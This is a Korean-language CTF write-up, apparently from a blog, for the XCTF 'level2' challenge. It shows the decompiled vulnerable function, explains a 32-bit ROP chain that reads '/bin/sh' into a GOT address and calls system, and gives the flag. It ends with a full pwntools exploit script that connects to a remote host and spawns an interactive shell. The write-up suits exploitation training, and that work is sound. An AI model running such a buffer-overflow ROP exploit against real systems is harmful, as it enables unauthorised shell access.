-
Disassembly 디스어셈블리
주어진 바이너리 파일을 Cutter를 사용해 분석하면, 디컴파일이 깔끔하게 되었기에 코드를 쉽게 파악할 수 있다.
undefined4 main(void) { int32_t var_4h; vulnerable_function(); system("echo \'Hello World!\'"); return 0; }
void vulnerable_function(void) { int32_t var_88h; system("echo Input:"); read(0, &var_88h, 0x100); // Stack buffer overflow return; }
main 함수에서 vulnerable_function을 호출하고, 이 함수에서 Stack buffer overflow가 발생한다. 스택이나 라이브러리의 주소를 leak할 방법이 보이지 않으므로, ROP를 이용해 공격을 시도해보자.
ROP
목표는 system("/bin/sh")를 호출하는 것이다. 따라서 "/bin/sh\x00" 문자열을 쓰기 권한이 있는 영역에 저장한 다음 그 주소를 system 함수의 인자로 넘겨줘야 한다. 이는 read(0, addr, 0x8)을 호출한 다음 표준 입력으로 "/bin/sh\x00"을 넣어주는 것으로 해결 가능하다.
따라서 payload는 다음과 같이 구성된다.
// read(0, addr, 0x8)
payload = dummy(0x88+4) + p32(read_plt) + p32(pppr) + p32(0) + p32(addr) + p32(0x8)
// system(addr), addr = "/bin/sh"
payload += p32(system_plt) + p32(0) + p32(addr)
어셈블리를 통해 확인한 결과 버퍼가 ebp로부터 0x88바이트만큼 떨어져 있으므로 더미는 0x8c바이트만큼 넣어주면 된다. addr는 쓰기 권한이 있는 아무 영역의 주소나 가능하므로 __libc_start_main 함수의 got로 설정했다.
위의 payload를 전송한 후 "/bin/sh\x00"를 이어서 전송하면 addr 위치에 binsh가 들어가게 되고 system이 실행되어 쉘을 취득하게 된다.
Flag
cyberpeace{9ae566dd805af50b031467d28c0e4337}
Code
더보기from pwn import * # context.log_level = 'debug' p = remote("220.249.52.134", 39301) e = ELF("./level2") r = ROP(e) # gadgets read_plt = e.plt["read"] start_got = e.got["__libc_start_main"] system_plt = e.plt["system"] main = e.symbols["main"] pppr = (r.find_gadget(['pop esi', 'pop edi', 'pop ebp', 'ret']))[0] # payload payload = b"A"*0x8c # read(stdin, start_got, 0x8) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(start_got) payload += p32(0x8) # system(start_got) payload += p32(system_plt) payload += p32(0) payload += p32(start_got) payload += b"A"*(0x100-len(payload)) # overwrite start_got with binsh payload += b"/bin/sh\x00" p.recvuntil("Input:\n") p.send(payload) p.interactive()
'CTF > XCTF' 카테고리의 다른 글
Recho (0) 2021.02.11 pwn-100 (0) 2021.02.11 welpwn (0) 2021.02.11 Mary_Morton (0) 2021.02.11 int_overflow (0) 2021.01.21